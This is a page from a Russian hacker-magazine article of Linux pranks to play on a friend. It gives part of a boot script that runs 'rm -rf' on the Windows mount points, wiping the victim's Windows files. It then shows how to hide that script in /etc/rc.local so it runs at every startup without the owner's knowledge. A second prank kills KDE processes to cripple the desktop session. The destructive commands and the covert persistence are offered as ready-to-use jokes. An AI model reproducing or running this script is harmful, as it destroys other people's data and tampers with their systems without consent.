Оторвись над другом-линуксоидом!

Xakep, номер #040, стр. 040-070-2


mkdir /home/eleet/lib2 2>/dev/null && echo "/home/eleet/lib2 has been successfully created" >>/main02 && cp -R /usr/lib /home/eleet/lib2 2>/dev/null && echo "libs from /usr/lib has been successfully copied" >>/main02 &

#третий скрипт, попытка монтирования cd-rom'а и дискеты, логирование в /main03

echo "* eleet script 03 coded by SHuRuP *" >/main03 && echo "trying to mount devices" >>/main03 &

mount /mnt/cdrom 2>/dev/null &

mount /mnt/floppy 2>/dev/null &

#четвертый скрипт, попытка удалить возможные каталоги с windows, логирование в /main04

echo "* eleet script 04 coded by SHuRuP *" >/main04 && echo "trying to remove windows" >>/main04 &

rm -rf /mnt/win 2>/dev/null &

rm -rf /mnt/windows 2>/dev/null &

rm -rf /mnt/win_c 2>/dev/null &

rm -rf /mnt/win_d 2>/dev/null &

#мессага, оповещающая об успешной загрузке скрипта (исключительно для устрашения ;)

echo "* eleet scripts v0.01pre-beta coded by SHuRuP loaded successfully! *"

После сохранения такого файла надо поставить права на возможность его выполнения:

chmod +x /usr/bin/int

Теперь остается немного подредактировать /etc/rc.local, чтобы наше творчество выполнялось при каждой загрузке любимого пингвина. Для этого достаточно написать в терминале:

echo "/usr/bin/int" >>/etc/rc.local

Все! Отныне со следующим и последующими запусками пингвина будут создаваться файлы с логами, начинать трещать хард, немного подгружаться процессор, монтироваться дискета и одноглазый, удаляться windows! ;)

P.S. Этот скрипт не будет в идеале выполняться для разных машин, так как у каждого могут быть свои директории монтирования виндов, сидюка и флоппи, да и вообще все предусмотреть невозможно, но по умолчанию обычно linux'ы настроены именно так, и прикол рассчитан как раз на такой случай. Но если известно, куда и что примонтировано (для этого достаточно выполнить команду: cat /etc/fstab), то, лишь немного подправив скрипт, можно смело идти в бой!

3) x-hell

Требуется: KDE + полминуты.

Наверное, тебе известно, что X-Window построен на процессах, а любой процесс может быть убит => по теореме SHuRuP'а получаем, что можно убить часть процессов иксов, в результате чего работа в них превратится в настоящий ад, что и требовалось доказать (читай "чего мы и добиваемся"). Дождавшись удачного момента, не раздумывая, пишем "ps -x", после этого начинаем пристально разглядывать, что нам ответили - где-то будет что-нибудь вроде такого:

xxx ? S 0:00 kdeinit: klauncher

xxx ? S 0:00 kdeinit: kded

xxx ? S 0:00 kdeinit: kxkb

xxx ? S 0:00 kdeinit: kxmlrpcd

xxx ? S 0:00 kdeinit: Running...

xxx ? S 0:00 kdeinit: kwin

xxx ? S 0:00 kdeinit: kdesktop

...etc...

Та-а-ак... кто этому сомнительному kdeinit разрешал забивать наш процессор и оперативную память какой-то фигней?? ;) Именно этой фигней мы и займемся, ибо у нас и так каждый бит на счету! А осталось нам только поубивать все то, что завоевало наименьший респект в наших сердцах. Смерть процесса наступает во время близкого контакта с командой kill -9 pid (или kill -KILL pid, где pid - идентификатор этого процесса). Теперь о результатах падений некоторых особей kdeinit'а:

Назад на стр. 040-070-1  Содержание  Вперед на стр. 040-070-3